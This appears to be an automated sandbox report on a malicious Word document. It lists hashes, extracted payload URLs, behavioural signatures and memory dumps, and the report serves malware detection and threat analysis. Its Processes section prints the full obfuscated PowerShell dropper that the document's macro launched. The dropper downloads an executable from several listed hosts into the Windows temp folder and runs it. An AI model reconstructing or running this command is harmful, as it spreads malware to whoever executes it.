Analysis
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max time kernel
60s -
max time network
58s -
platform
windows10_x64 -
resource
win10-en-20210920 -
submitted
13-10-2021 09:49
Static task
static1
Behavioral task
behavioral1
Sample
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win10-en-20210920
Behavioral task
behavioral2
Sample
test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win10-en-20210920
Behavioral task
behavioral3
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10-en-20210920
Behavioral task
behavioral4
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10-en-20210920
Behavioral task
behavioral5
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10-en-20210920
General
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Target
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
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Size
265KB
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MD5
34c85b83169b5e70bbfc76c2d6de2be0
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SHA1
cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8
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SHA256
0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b
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SHA512
0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e
Malware Config
Extracted
http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC
http://antigua.aguilarnoticias.com/nYZZcHxoYdA
http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA
http://mywedphoto.ru/SPcBpzOvD6_bogkPa
http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3192 2492 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 30 3192 powershell.exe 31 3192 powershell.exe 32 3192 powershell.exe 42 3192 powershell.exe 46 3192 powershell.exe 48 3192 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2492 WINWORD.EXE 2492 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3192 powershell.exe 3192 powershell.exe 3192 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3192 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE 2492 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2492 wrote to memory of 3192 2492 WINWORD.EXE powershell.exe PID 2492 wrote to memory of 3192 2492 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/2492-121-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmpFilesize
64KB
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memory/2492-116-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmpFilesize
64KB
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memory/2492-118-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmpFilesize
64KB
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memory/2492-117-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmpFilesize
64KB
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memory/2492-120-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmpFilesize
8KB
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memory/2492-119-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmpFilesize
8KB
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memory/2492-115-0x00007FFF6C2F0000-0x00007FFF6C300000-memory.dmpFilesize
64KB
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memory/2492-122-0x000001C66C0E0000-0x000001C66C0E2000-memory.dmpFilesize
8KB
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memory/2492-272-0x000001C67C9F0000-0x000001C67C9F4000-memory.dmpFilesize
16KB
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memory/3192-261-0x0000000000000000-mapping.dmp
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memory/3192-273-0x000001FF6A290000-0x000001FF6A292000-memory.dmpFilesize
8KB
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memory/3192-274-0x000001FF6A293000-0x000001FF6A295000-memory.dmpFilesize
8KB
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memory/3192-291-0x000001FF6A296000-0x000001FF6A298000-memory.dmpFilesize
8KB